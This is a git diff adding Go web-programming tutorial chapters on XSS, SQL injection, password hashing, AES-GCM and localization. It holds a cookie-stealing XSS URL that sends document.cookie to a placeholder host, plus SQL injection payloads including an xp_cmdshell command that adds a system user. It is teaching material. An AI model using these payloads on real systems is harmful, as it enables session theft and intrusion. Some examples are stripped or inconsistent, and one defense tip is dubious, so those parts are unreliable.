attacks](09.1.md) +- Next section: [XSS attacks](09.3.md) diff --git a/th/09.3.md b/th/09.3.md new file mode 100644 index 000000000..ed3d40020 --- /dev/null +++ b/th/09.3.md @@ -0,0 +1,62 @@ +# 9.3 XSS attacks + +With the development of Internet technology, web applications are often packed with dynamic content to improve user experience. Dynamic content is content that reacts and changes according to user requests and actions. Dynamic sites are often susceptible to cross-site scripting attacks (often referred to by security experts in its abbreviated form, XSS), something which static websites are completely unaffected by. + +## What is XSS? + +As mentioned, the term XSS is an acronym for Cross-Site Scripting, which is a type of attack common on the web. In order not to confuse it with another common web acronym, CSS (Cascading Style Sheets), we use an `X` instead of a `C` for the cross in cross-site scripting. XSS is a common web security vulnerability which allows attackers to inject malicious code into webpages. Unlike most types of attacks which generally involve only an attacker and a victim, XSS involves three parties: an attacker, a client and a web application. The goal of an XSS attack is to steal cookies stored on clients by web applications for the purpose of reading sensitive client information. Once an attacker gets ahold of this information, they can impersonate users and interact with websites without their knowledge or approval. + +XSS attacks can usually be divided into two categories: one is a stored XSS attack. This form of attack arises when users are allowed to input data onto a public page, which after being saved by the server, will be returned (unescaped) to other users that happen to be browsing it. Some examples of the types of pages that are often affected include comments, reviews, blog posts and message boards. The process often goes like this: an attacker enters some html followed by a hidden ``. If this causes the browser to produce an alert pop-up box, we can confirm that the site is vulnerable to XSS attacks. So how do malicious users steal cookies using the same type of attack? + +Just like before, we have a URL: + +`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>` + +By clicking on this URL, you'd be sending the current cookie to the specified site: `www.xxx.com`. You might be wondering, why would anybody click on such a strange looking URL in the first place? While it's true that this kind of URL will make most people skeptical, if an attacker were to use one of the many popular URL shortening services to obscure it, would you still be able to see it? Most attackers would obfuscate the URL in one way or another, and you'd only know the legitimacy of the link after clicking on it. However by this point, cookie data will have already been sent to the 3rd party website, compromising your sensitive information. You can use tools like Websleuth to audit the security of your web applications for these types of vulnerabilities. + +For a more detailed analysis on an XSS attack, have a look at the article: "[ Sina microblogging XSS event analysis ] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)" + +## How to prevent XSS + +The answer is simple: never trust user input, and always filter out all special characters in any input data you may receive. This will eliminate the majority of XSS attacks. + +Use the following techniques to defend against XSS attacks: + +- Filter special characters + +One way to avoid XSS is to filter user-supplied content. The Go language provides some HTML filtering functions in its `text/template` packge such as `HTMLEscapeString` and `JSEscapeString`, to name a few. + +- Specify the content type in your HTTP headers + +`w.Header().Set("Content-Type","text/javascript")` + +This allows client browsers to parse the response as javascript code (applying the neccessary filters) instead of rendering the content in an unspecified and potentially dangerous manner. + +## Summary + +Introducing XSS vulnerabilities is a very real hazard when developing web applications. It is important to remember to filter all data, especially before outputting it to clients; this is now a well-established means of preventing XSS. + +## Links + +- [Directory](preface.md) +- Previous section: [Filter inputs](09.2.md) +- Next section: [SQL injection](09.4.md) diff --git a/th/09.4.md b/th/09.4.md new file mode 100644 index 000000000..dd1ec4cf5 --- /dev/null +++ b/th/09.4.md @@ -0,0 +1,75 @@ +# 9.4 SQL injection + +## What is SQL injection + +SQL injection attacks are (as the name would suggest) one of the many types of script injection attacks. In web development, these are the most common form of security vulnerabilities. Attackers can use it to obtain sensitive information from databases, and aspects of an attack can involve adding users to the database, exporting private files, and even obtaining the highest system privileges for their own nefarious purposes. + +SQL injection occurs when web applications do not effectively filter out user input, leaving the door wide open for attackers to submit malicious SQL query code to the server. Applications often receive injected code as part of an attacker's input, which alters the logic of the original query in some way. When the application attempts to execute the query, the attacker's malicious code is executed instead. + +## SQL injection examples + +Many web developers do not realize how SQL queries can be tampered with, and may hold the misconception that they are trusted commands. As everyone knows, SQL queries are able to circumvent access controls, thereby bypassing the standard authentication and authorization checks. What's more, it's possible to run SQL queries through commands at the level of the host system. + +Let's have a look at some real examples to explain the process of SQL injection in detail. + +Consider the following simple login form : + +
+

Username:

+

Password:

+

+
+ +Our form processing might look like this: + + username := r.Form.Get("username") + password := r.Form.Get("password") + sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'" + +If the user inputs a user name or password as: + + myuser' or 'foo' = 'foo' -- + +Then our SQL becomes the following: + + SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx' + +In SQL, anything after `--` is a comment. Thus, inserting the `--` as the attacker did above alters the query in a fatal way, allowing an attacker to successfully login as a user without a valid password. + +Far more dangerous exploits exist for MSSQL SQL injections, and some can even perform system commands. The following examples will demonstrate how terrible SQL injections can be in some versions of MSSQL databases. + + sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'" + Db.Exec(sql) + +If an attacker submits `a%' exec master..xp_cmdshell 'net user test testpass /ADD' --` as the "prod" variable, then the sql will become + + sql := "SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" + +The MSSQL Server executes the SQL statement including the commands in the user supplied "prod" variable, which adds new users to the system. If this program is run as is, and the MSSQLSERVER service has sufficient privileges, an attacker can register a system account to access this machine. + +> Although the examples above are tied to a specific database system, this does not mean that other database systems cannot be subjected to similar types of attacks. The principles behind SQL injection attacks remain the same, though the method with which they are perpetrated may vary. + +## How to prevent SQL injection + +You might be thinking that an attacker would have to know information about the target database's structure in order to carry out an SQL injection attack. While this is true, it's difficult to guarantee that an attacker won't be able to find this information and once they get it, the database can be compromised. If you are using open source software to access the database, such as a forum application, intruders can easily get the related code. Obviously with poorly designed code, the security risks are even greater. Discuz, phpwind and phpcms are some examples of popular open source programs that have been vulnerable to SQL injection attacks. + +These attacks happen to systems where safety precautions are not prioritized. We've said it before, we'll say it again: never trust any kind of input, especially user data. This includes data coming from selection boxes, hidden input fields or cookies. As our first example above has shown, even supposedly normal queries can cause disasters. + +SQL injection attacks can be devastating -how can do we even begin to defend against them? The following suggestions are a good starting point for preventing SQL injection: + +1. Strictly limit permissions for database operations so that users only have the minimum set of permissions required to accomplish their work, thus minimizing the risk of database injection attacks. +2. Check that input data has the expected data format, and strictly limit the types of variables that can be submitted. This can involve regexp matching, or using the strconv package to convert strings into other basic types for sanitization and evaluation. +3. Transcode or escape from pairs of special characters ( '"\&*; etc. ) before persisting them into the database. Go's `text/template` package has a `HTMLEscapeString` function that can be used to return escaped HTML. +4. Use your database's parameterized query interface. Parameterized statements use parameters instead of concatenating user input variables in embedded SQL statements; in other words, they do not directly splice ​​SQL statements. For example, using the `Prepare` function in Go's `database/sql` package, we can create prepared statements for later execution with `Query` or `Exec(query string, args... interface {})`. +5. Before releasing your application, thoroughly test it using professional tools for detecting SQL injection vulnerabilities and to repair them, if they exist. There are many online open source tools that do just this, such as sqlmap, SQLninja, to name a few. +6. Avoid printing out SQL error information on public webpages. Attackers can use these error messages to carry out SQL injection attacks. Examples of such errors are type errors, fields not matching errors, or any errors containing SQL statements. + +## Summary + +Through the above examples, we've learned that SQL injection is a very real and very dangerous web security vulnerability. When we write web application, we should pay attention to every little detail and treat security issues with the utmost care. Doing so will lead to better and more secure web applications, and can ultimately be the determing factor in whether or not your application succeeds. + +## Links + +- [Directory](preface.md) +- Previous section: [XSS attacks](09.3.md) +- Next section: [Password storage](09.5.md) diff --git a/th/09.5.md b/th/09.5.md new file mode 100644 index 000000000..39afa941a --- /dev/null +++ b/th/09.5.md @@ -0,0 +1,97 @@ +# 9.5 Password storage + +Over the years, many websites have suffered from breaches in user password data. Even top internet companies such as Linkedin and CSDN.net have been affected. The impact of these events has been felt across the entire internet, and cannot be underestimated. This is especially the case for today's internet users, who often adopt the habit of using the same password for many different websites. + +As web developers, we have many choices when it comes to implementing a password storage scheme. However, this freedom is often a double edged sword. So what are the common pitfalls and how can we avoid falling into them? + +## Bad solution + +Currently, the most frequently used password storage scheme is to one-way hash plaintext passwords before storing them. The most important characteristic of one-way hashing is that it is not feasible to recover the original data given the hashed data - hence the "one-way" in one-way hashing. Commonly used cryptographic, one-way hash algorithms include SHA-256, SHA-1, MD5 and so on. + +You can easily use the three aforementioned hashing algorithms in Go as follows: + + //import "crypto/sha256" + h := sha256.New() + io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") + fmt.Printf("% x", h.Sum(nil)) + + //import "crypto/sha1" + h := sha1.New() + io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") + fmt.Printf("% x", h.Sum(nil)) + + //import "crypto/md5" + h := md5.New() + io.WriteString(h, "需要加密的密码") + fmt.Printf("%x", h.Sum(nil)) + +There are two key features of one-way hashing: + +1) given a one-way hash of a password, the resulting summary is always uniquely determined. +2) calculation speed. As technology advances, it only takes a second to complete billions of one-way hash calculations. + +Given the combination of the above two characteristics, and taking into account the fact that the majority of people use some combination of common passwords, an attacker can compute a combination of all the common passwords. Even though the passwords you store in your database may be hash values only, if attackers gain access to this database, they can compare the stored hashes to their precomputed hashes to obtain the corresponding passwords. This type of attack relies on what is typically called a `rainbow table`. + +We can see that hashing user data using one-way hashes may not be enough. Once a website's database gets leaked, the user's original password could potentially be revealed to the world. + +## Good solution + +The method mentioned above may have been secure enough to thwart most hacking attempts a few years ago, since most attackers would not have had the computing resources to compute large `rainbow table`s. However, with the rise of parallel computing capabilities, these types of attacks are becoming more and more feasible. + + How do we securely store a password so that it cannot be deciphered by a third party, given real life limitations in time and memory resources? The solution is to calculate a hashed password to deliberately increase the amount of resources and time it would take to crack it. We want to design a hash such that nobody could possibly have the resources required to compute the required `rainbow table`. + +Very secure systems utilize hash algorithms that take into account the time and resources it would require to compute a given password digest. This allows us to create password digests that are computationally expensive to perform on a large scale. The greater the intensity of the calculation, the more difficult it will be for an attacker to pre-compute `rainbow table`s - so much so that it may even be infeasible to try. + +In Go, it's recommended that you use the `bcrypt` package. + +The package's source code can be found at the following link: https://github.com/golang/crypto/blob/master/bcrypt/bcrypt.go + +Here is an example code snippet which can be used to hash, store and validate user passwords: + + package main + + import ( + "fmt" + "log" + + "golang.org/x/crypto/bcrypt" + ) + + func main() { + userPassword1 := "some user-provided password" + + // Generate "hash" to store from user password + hash, err := bcrypt.GenerateFromPassword([]byte(userPassword1), bcrypt.DefaultCost) + if err != nil { + // TODO: Properly handle error + log.Fatal(err) + } + fmt.Println("Hash to store:", string(hash)) + // Store this "hash" somewhere, e.g. in your database + + // After a while, the user wants to log in and you need to check the password he entered + userPassword2 := "some user-provided password" + hashFromDatabase := hash + + // Comparing the password with the hash + if err := bcrypt.CompareHashAndPassword(hashFromDatabase, []byte(userPassword2)); err != nil { + // TODO: Properly handle error + log.Fatal(err) + } + + fmt.Println("Password was correct!") + } + +## Summary + +If you're worried about the security of your online life, you can take the following steps: + +1) As a regular internet user, we recommend using LastPass for password storage and generation; on different sites use different passwords. + +2) As a Go web developer, we strongly suggest that you use one of the professional, well tested methods above for storing user passwords. + +## Links + +- [Directory](preface.md) +- Previous section: [SQL injection](09.4.md) +- Next section: [Encrypt and decrypt data](09.6.md) diff --git a/th/09.6.md b/th/09.6.md new file mode 100644 index 000000000..840621a74 --- /dev/null +++ b/th/09.6.md @@ -0,0 +1,109 @@ +# 9.6 Encrypting and decrypting data + +The previous section describes how to securely store passwords, but sometimes it might be neccessary to modify some sensitive encrypted data that has already been stored into our database. When data decryption is required, we should use a symmetric encryption algorithm instead of the one-way hashing techniques we've previously covered. + +## Advanced encryption and decryption + +The Go language supports symmetric encryption algorithms in its `crypto` package. Do not use anything except AES in [GCM mode](https://en.wikipedia.org/wiki/Galois/Counter_Mode) if you don't know what you're doing! + +- `crypto/aes` package: AES (Advanced Encryption Standard), also known as Rijndael encryption method, is used by the U.S. federal government as a block encryption standard. + +In the following example we demonstrate how to encrypt data using AES in GCM mode: + + package main + + import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "errors" + "fmt" + "io" + "log" + ) + + func main() { + text := []byte("My name is Astaxie") + key := []byte("the-key-has-to-be-32-bytes-long!") + + ciphertext, err := encrypt(text, key) + if err != nil { + // TODO: Properly handle error + log.Fatal(err) + } + fmt.Printf("%s => %x\n", text, ciphertext) + + plaintext, err := decrypt(ciphertext, key) + if err != nil { + // TODO: Properly handle error + log.Fatal(err) + } + fmt.Printf("%x => %s\n", ciphertext, plaintext) + } + + func encrypt(plaintext []byte, key []byte) ([]byte, error) { + c, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(c) + if err != nil { + return nil, err + } + + nonce := make([]byte, gcm.NonceSize()) + if _, err = io.ReadFull(rand.Reader, nonce); err != nil { + return nil, err + } + + return gcm.Seal(nonce, nonce, plaintext, nil), nil + } + + func decrypt(ciphertext []byte, key []byte) ([]byte, error) { + c, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(c) + if err != nil { + return nil, err + } + + nonceSize := gcm.NonceSize() + if len(ciphertext) < nonceSize { + return nil, errors.New("ciphertext too short") + } + + nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:] + return gcm.Open(nil, nonce, ciphertext, nil) + } + +Calling the above function `aes.NewCipher` (whose []byte key parameter must be 16, 24 or 32, corresponding to the AES-128, AES-192 or AES-256 algorithms, respectively), returns a `cipher.Block` Interface that implements three functions: + + type Block interface { + // BlockSize returns the cipher's block size. + BlockSize() int + + // Encrypt encrypts the first block in src into dst. + // Dst and src may point at the same memory. + Encrypt(dst, src []byte) + + // Decrypt decrypts the first block in src into dst. + // Dst and src may point at the same memory. + Decrypt(dst, src []byte) + } + +These three functions implement encryption and decryption operations; see the Go documentation for a more detailed explanation. + +## Summary + +This section describes encryption algorithms which can be used in different ways according to your web application's encryption and decryption needs. For applications with even basic security requirements it is recommended to use AES in GCM mode. + + +## Links + +- [Directory]() +- Previous: [store passwords](<09.5.md>) +- Next: [Summary](<09.7.md>) diff --git a/th/09.7.md b/th/09.7.md new file mode 100644 index 000000000..196346f24 --- /dev/null +++ b/th/09.7.md @@ -0,0 +1,10 @@ +# 9.7 Summary + +In this chapter, we've described CSRF, XSS and SQL injection based attacks. Most web applications are vulnerable to these types of attacks due to a lack of adequate input filtering on the part of the application. So, in addition to introducing the principles behind these attacks, we've also introduced a few techniques for effectively filtering user data and preventing these attacks from ever taking place. We then discussed a few methods for securely storing user passwords, first introducing basic one-way hashing for web applications with loose security requirements, then password salting and encryption algorithms for more serious applications. Finally, we briefly discussed two-way hashing and the encryption and decryption of sensitive data. +The purpose of this chapter is to help readers become more conscious of the security issues that exist in modern day web applications. Hopefully, it can help developers to plan and design their web applications a little more carefully, so they can write systems that are able to prevent hackers from exploiting user data. The Go language has a large and well designed anti-attack toolkit, and every Go developer should take full advantage of these packages to better secure their web applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Encrypt and decrypt data](09.6.md) +- Next chapter: [Internationalization and localization](10.0.md) diff --git a/th/10.0.md b/th/10.0.md new file mode 100644 index 000000000..a0e48c5f9 --- /dev/null +++ b/th/10.0.md @@ -0,0 +1,24 @@ +# 10 Internationalization and localization + +In order to adapt to the increasing globalization of the internet, as developers, we may sometimes need to build multilingual, international web applications. +This means that some pages will appear in different languages according to user regions, and perhaps the UI and UX will also be adapted to show different effects based on local holidays or culture. For example at runtime, the application will be able to recognize and process requests coming from different geographical regions and render pages in the local dialect or display different user interface. As competent developers, we don't want to have to manually modify our application's source code to cater to every possible region out there. When an application needs to add support for a new language, we should be able to simply drop in the appropriate language pack and be done with it. + +In this section, we'll be talking about internationalization and localization (usually expressed as i18n and L10N, respectively). Internationalization is the process of designing applications that are flexible enough to be served to multiple regions around the world. In some ways, we can think of internationalization as something that helps to facilitate localization, which is the adaptation of a web application's content and design to suit the language or cultural needs of specific locales. + +Currently, Go's standard package does not provide i18n support, but there are some useful and relatively simple third-party implementations available. In this chapter, we'll be using the open-source "go-i18n" library to support internationalization in our examples. + +When we talk about making our web applications "international", we mean that each web page should be constructed with locale specific information and assembled with the corresponding local strings, time and currency formats, etc. This involves three things: + +1. how to determine the user's locale. + +2. how to save strings or other information associated with the locale. + +3. how to embed strings and other information according to the user's locale. + +In the first section, we'll describe how to detect and set the correct locale in order to allow website users access to their language specific pages. The second section describes how to handle or store strings, currencies, times, dates and other locale related information. Finally, the third section will describe how to internationalize your web application; more specifically, we'll discuss how to return different pages with locale appropriate content. Through these three sections, we'll be able to support full i18n in our web applications. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 9 Summary](09.7.md) +- Next section: [Setting the default region](10.1.md) diff --git a/th/10.1.md b/th/10.1.md new file mode 100644 index 000000000..6306867e1 --- /dev/null +++ b/th/10.1.md @@ -0,0 +1,93 @@ +# 10.1 Setting the default region + +## Finding out the locale + +A locale is a set of descriptors for a particular geographical region, and can include specific language habits, text formatting, cultural idioms and a multitude of other settings. A locale's name is usually composed of three parts. First (and mandatory) is the locale's language abbreviation, such as "en" for English or "zh" for Chinese. The second part is an optional country specifier, and follows the first with an minus sign. This specifier allows web applications to distinguish between different countries which speak the same language, such as "en-US" for U.S. English, and "en-GB" for British English. The last part is another optional specifier, and is added to the locale with a period. It specifies which character set to use, for instance "zh-CN.gb2312" specifies the gb2312 character set for Chinese. + +Go defaults to the "UTF-8" encoding set, so i18n in Go applications do not need to consider the last parameter. Thus, in our examples, we'll only use the first two parts of locale descriptions as our standard i18n locale names. + +> On Linux and Solaris systems, you can use the `locale -a` command to get a list of all supported regional names. You can use this list as examples of some common locales. For BSD and other systems, there is no locale command, but the regional information is stored in `/usr/share/locale`. + +## Setting the locale + +Now that we've defined what a locale is, we need to be able to set it according to visiting users' information (either from their personal settings, the visited domain name, etc.). Here are some methods we can use to set the user's locale: + +### From the domain name + +We can set a user's locale via the domain name itself when the application uses different domains for different regions. For example, we can use www.asta.com as our default English website, and the domain name www.asta.cn as its Chinese counterpart. By setting up separate domains for separate regions, you can detect and serve the requested locale. This type of setup has several advantages: + +- Identifying the locale via URL is distinctive and unambiguous +- Users intuitively know which domain names to visit for their specific region or language +- Implementing this scheme in a Go application is very simple and convenient, and can be achieved through a map +- Conducive to search engine crawlers which can improve the site's SEO + +We can use the following code to implement a corresponding domain name locale: + + if r.Host == "www.asta.com" { + i18n.SetLocale("en") + } else if r.Host == "www.asta.cn" { + i18n.SetLocale("zh-CN") + } else if r.Host == "www.asta.tw" { + i18n.SetLocale("zh-TW") + } + +Alternatively, we could have also set locales through the use of sub-domain such as "en.asta.com" for English sites and "cn.asta.com" for Chinese site. This scheme can be realized in code as follows: + + prefix:= strings.Split(r.Host,".") + + if prefix[0] == "en" { + i18n.SetLocale("en") + } else if prefix[0] == "cn" { + i18n.SetLocale("zh-CN") + } else if prefix[0] == "tw" { + i18n.SetLocale("zh-TW") + } + +Setting locales from the domain name as we've done above has its advantages, however l10n is generally not implemented in this way. First of all, the cost of domain names (although usually quite affordable individually) can quickly add up given that each locale will need its own domain name, and often the name of the domain will not necessarily fit in with the local context. Secondly, we don't want to have to individually configure each website for each locale. Rather, we should be able to do this programmatically, for instance by using URL parameters. Let's have a look at the following description. + +### From URL parameters + +The most common way of implementing l10n is to set the desired locale directly in the URL parameters, such `www.asta.com/hello?locale=zh` or `www.asta.com/zh/hello`. This way, we can set the region like so: `i18n.SetLocale(params["locale"])`. + +This setup has almost all the advantages of prepending the locale in front of the domain and it's RESTful, so we don't need to add additional methods to implement it. The downside to this approach is that it requires a corresponding locale parameter inside each link, which can be quite cumbersome and may increase complexity. However, we can write a generic function that produces these locale-specific URLs so that all links are generated through it. This function should automatically add a locale parameter to each link so when users click them, we are able to parse their requests with ease: `locale = params [" locale "]`. + +Perhaps we want our URLs to look even more RESTful. For example, we could map each of our resources under a specific locale like `www.asta.com/en/books` for our English site and `www.asta.com/zh/books` for the Chinese one. This approach is not only more conducive to URL SEO, but is also more friendly for users. Anybody visiting the site should be able to access locale-specific website resources directly from the URL. Such URL addresses can then be passed through the application router in order to obtain the proper locale (refer to the REST section, which describes the router plug-in implementation): + + mux.Get("/:locale/books", listbook) + +### From the client settings area + +In some special cases, we require explicit client information in order to set the locale rather than obtaining it from the URL or URL parameters. This information may come directly from the client's browser settings, the user's IP address, or the location settings filled out by the user at the time of registration. This approach is more suitable for web-based applications. + +- Accept-Language + +When a client requests information using an HTTP header set with the `Accept-Language` field, we can use the following Go code to parse the header and set the appropriate region code: + + AL := r.Header.Get("Accept-Language") + if AL == "en" { + i18n.SetLocale("en") + } else if AL == "zh-CN" { + i18n.SetLocale("zh-CN") + } else if AL == "zh-TW" { + i18n.SetLocale("zh-TW") + } + +Of course, in real world applications, we may require more rigorous processes and rules for setting user regions + +- IP Address + +Another way of setting a client's region is to look at the user's IP address. We can use the popular [GeoIP GeoLite Country or City libraries](http://dev.maxmind.com/geoip/legacy/geolite/) to help us relate user IP addresses to their corresponding regional areas. Implementing this mechanism is very simple: we only need to look up the user's IP address inside our database and then return locale-specific content according to which region was returned. + +- User profile + +You can also let users provide you with their locale information through an input element such as a drop-down menu (or something similar). When we receive this information, we can save it to the account associated with the user's profile. When the user logs in again, we will be able to check and set their locale settings -this guarantees that every time the user accesses the website, the returned content will be based on their previously set locale. + +## Summary + +In this section, we've demonstrated a variety of ways with which user specific locales can be detected and set. These methods included setting the user locale via domain name, subdomain name, URL parameters and directly from client settings. By catering to the specific needs of specific regions, we can provide a comfortable, familiar and intuitive environment for users to access the services that we provide. + +## Links + +- [Directory](preface.md) +- Previous one: [Internationalization and localization](10.0.md) +- Next section: [Localized resources](10.2.md) diff --git a/th/10.2.md b/th/10.2.md new file mode 100644 index 000000000..73343dd1b --- /dev/null +++ b/th/10.2.md @@ -0,0 +1,140 @@ +# 10.2 Localized Resources + +The previous section described how to set locales. After the locale has been set, we then need to address the problem of storing the information corresponding to specific locales. This information can include: textual content, time and date, currency values ​​, pictures, specific files and other view resources. In Go, all of this contextual information is stored in JSON format on our backend, to be called upon and injected into our views when users from specific regions visit our website. For example, English and Chinese content would be stored in en.json and zh-CN.json files, respectively. + +## Localized textual content + +Plain text is the most common way of representing information in web applications, and the bulk of your localized content will likely take this form. The goal is to provide textual content that is both idiomatic to regional expressions and feels natural for foreign users of your site. One solution is to create a nested map of locales, native language strings and their local counterparts. When clients request pages with some textual content, we first check their desired locale, then retrieve the corresponding strings from the appropriate map. The following snippet is a simple example of this process: + + package main + + import "fmt" + + var locales map[string]map[string]string + + func main() { + locales = make(map[string]map[string]string, 2) + en := make(map[string]string, 10) + en["pea"] = "pea" + en["bean"] = "bean" + locales["en"] = en + cn := make(map[string]string, 10) + cn["pea"] = "豌豆" + cn["bean"] = "毛豆" + locales["zh-CN"] = cn + lang := "zh-CN" + fmt.Println(msg(lang, "pea")) + fmt.Println(msg(lang, "bean")) + } + + func msg(locale, key string) string { + if v, ok := locales[locale]; ok { + if v2, ok := v[key]; ok { + return v2 + } + } + return "" + } + +The above example sets up maps of translated strings for different locales (in this case, the Chinese and English locales). We map our `cn` translations to the same English language keys so that we can reconstruct our English text message in Chinese. If we wanted to switch our text to any other locale we may have implemented, it'd be a simple matter of setting one `lang` variable. + +Simple key-value substitutions can sometimes be inadequate for our needs. For example, if we had a phrase such as "I am 30 years old" where 30 is a variable, how would we localize it? In cases like these, we can combine use the `fmt.Printf` function to achieve the desired result: + + en["how old"] = "I am %d years old" + cn["how old"] = "我今年%d岁了" + + fmt.Printf(msg(lang, "how old"), 30) + +The example code above is only for the purpose of demonstration; actual locale data is typically stored in JSON format in our database, allowing us to execute a simple `json.Unmarshal` to populate map locales with our string translations. + +## Localized date and time + +Because of our time zone conventions, the time in one region of the world can be different than the time in another region. Similarly, the way in which time is represented can also vary from locale to locale. For example, a Chinese environment may read `2012年10月24日 星期三 23时11分13秒 CST`, while in English, it might be: `Wed Oct 24 23:11:13 CST 2012`. Not only are there variations in language, but there are differences in formatting also. So, when it comes to localizing dates and times, we need to address the following two points: + +1. time zones +2. formatting issues + +The `$GOROOT/lib/time/package/timeinfo.zip` directory contains locales corresponding to time zone definitions. In order to obtain the time corresponding to a user's current locale, we should first use `time.LoadLocation(name string)` to get a Location object corresponding to our locale, passing in a string representing the locale such as `Asia/Shanghai` or `America/Chicago`. We can then use this Location object in conjunction with a Time object (obtained by calling `time.Now`) to get the final time using the Time object's `In` method. A detailed look at this process can be seen below (this example uses some of the variables from the example above): + + en["time_zone"] = "America/Chicago" + cn["time_zone"] = "Asia/Shanghai" + + loc, _ := time.LoadLocation(msg(lang, "time_zone")) + t := time.Now() + t = t.In(loc) + fmt.Println(t.Format(time.RFC3339)) + +We can handle text formatting in a similar way to solve our time formatting problem: + + en["date_format"]="%Y-%m-%d %H:%M:%S" + cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒" + + fmt.Println(date(msg(lang,"date_format"),t)) + + func date(fomat string, t time.Time) string{ + year, month, day = t.Date() + hour, min, sec = t.Clock() + //Parsing the corresponding %Y%m%d%H%M%S and then returning the information + //%Y replaced by 2012 + //%m replaced by 10 + //%d replaced by 24 + } + +## Localized currency value + +Obviously, currency differs from region to region also. We can treat it the same way we treated our dates: + + en["money"] ="USD %d" + cn["money"] ="¥%d元" + + fmt.Println(money_format(msg(lang,"money"),100)) + + func money_format(fomat string, money int64) string{ + return fmt.Sprintf(fomat, money) + } + + +## Localization of views and resources + +We can serve customized views with different images, css, js and other static resources depending on the current locale. One way to accomplish this is by organizing these files into their respective locales. Here's an example: + + views + |--en //English Templates + |--images //store picture information + |--js //JS files + |--css //CSS files + index.tpl //User Home + login.tpl //Log Home + |--zh-CN //Chinese Templates + |--images + |--js + |--css + index.tpl + login.tpl + +With this directory structure, we can render locale-specific views like so: + + s1, _ := template.ParseFiles("views" + lang + "index.tpl") + VV.Lang = lang + s1.Execute(os.Stdout, VV) + +The resources referenced in the `index.tpl` file can be dealt with as follows: + + // js file + + // css file + + // Picture files + + +With dynamic views and the way we've localized our resources, we will be able to add more locales without much effort. + +## Summary + +This section described how to use and store local resources. We learned that we can use conversion functions and string interpolation for this, and saw that maps can be an effective way of storing locale-specific data. For the latter, we could simply extract the corresponding locale information when needed -if it was textual content we desired, our mapped translations and idioms could be piped directly to the output. If it was something more sophisticated like time or currency, we simply used the `fmt.Printf` function to format it before-hand. Localizing our views and resources was the easiest case, and simply involved organizing our files into their respective locales, then referencing them from their locale relative paths. + +## Links + +- [Directory](preface.md) +- Previous section: [Setting the default region](10.1.md) +- Next section: [International sites](10.3.md) diff --git a/th/10.3.md b/th/10.3.md new file mode 100644 index 000000000..2087e1abd --- /dev/null +++ b/th/10.3.md @@ -0,0 +1,184 @@ +# 10.3 International sites + +The previous section explained how to deal with localized resources, namely by using locale configuration files. So what can we do if we need to deal with *multiple* localized resources like text translations, times and dates, numbers, etc? This section will address these issues one by one. + +## Managing multiple locale packages + +In the development of an application, often the first thing you need to do is to decide whether or not you want to support more than one language. If you do decide to support multiple languages, you'll need to develop an organizational structure to facilitate the process of adding more languages in the future. One way we can do this is to put all our related locale files together in a `config/locales` directory, or something of the like. Let's suppose you want to support both Chinese and English. In this case, you'd be placing both the en.json and zh.json locale files into the aforementioned folder. Their contents would probably look something like the following: + + # zh.json + + { + "zh": { + "submit": "提交", + "create": "创建" + } + } + + # en.json + + { + "en": { + "submit": "Submit", + "create": "Create" + } + } + +We decided to use some 3rd party Go packages to help us internationalize our web applications. In the case of [go-i18n](https://github.com/astaxie/go-i18n) ( ***A more advanced i18n package can be found [here](https://github.com/beego/i18n)*** ), we first have to register our `config/locales` directory to load all of our locale files: + + Tr := i18n.NewLocale() + Tr.LoadPath("config/locales") + +This package is simple to use. We can test that it works like so: + + fmt.Println(Tr.Translate("submit")) + //Output "submit" + Tr.SetLocale("zn") + fmt.Println(Tr.Translate("submit")) + //Outputs "递交" + +## Automatically load local package + +We've just described how to automatically load custom language packs. In fact, the `go-i18n` library comes pre-loaded with a bunch of default formatting information such as time and currency formats. These default configurations can be overridden and customized by users to suit their needs. Consider the following process: + + //Load the default configuration files, which are placed below in `go-i18n/locales` + + //File should be named zh.json, en-json, en-US.json etc., so we can continuously support more languages + + func (il *IL) loadDefaultTranslations(dirPath string) error { + dir, err := os.Open(dirPath) + if err != nil { + return err + } + defer dir.Close() + + names, err := dir.Readdirnames(-1) + if err != nil { + return err + } + + for _, name := range names { + fullPath := path.Join(dirPath, name) + + fi, err := os.Stat(fullPath) + if err != nil { + return err + } + + if fi.IsDir() { + if err := il.loadTranslations(fullPath); err != nil { + return err + } + } else if locale := il.matchingLocaleFromFileName(name); locale != "" { + file, err := os.Open(fullPath) + if err != nil { + return err + } + defer file.Close() + + if err := il.loadTranslation(file, locale); err != nil { + return err + } + } + } + + return nil + } + +Using the above code to load all of our default translations, we can then use the following code to select and use a locale: + + fmt.Println(Tr.Time(time.Now())) + //Output: 2009年1月08日 星期四 20:37:58 CST + + fmt.Println(Tr.Time(time.Now(),"long")) + //Output: 2009年1月08日 + + fmt.Println(Tr.Money(11.11)) + //Output: ¥11.11 + +## Template mapfunc + +Above, we've presented one way of managing and integrating a number of language packs. Some of the functions we've implemented are based on the logical layer, for example: "Tr.Translate", "Tr.Time", "Tr.Money" and so on. In the logical layer, we can use these functions (after supplying the required parameters) for applying your translations, outputting the results directly to the template layer at render time. What can we do if we want to use these functions *directly* in the template layer? In case you've forgotten, earlier in the book we mentioned that Go templates support custom template functions. The following code shows how easy mapfunc is to implement: + +1 text information + +A simple text conversion function implementing a mapfunc can be seen below. It uses `Tr.Translate` to perform the appropriate translations: + + func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Translate(s) + } + +We register the function like so: + + t.Funcs(template.FuncMap{"T": I18nT}) + +Then use it from your template: + + {{.V.Submit | T}} + + +2. The date and time + +Dates and times call the `Tr.Time` function to perform their translations. The mapfunc is implemented as follows: + + func I18nTimeDate(args ...interface{}) string { + ok 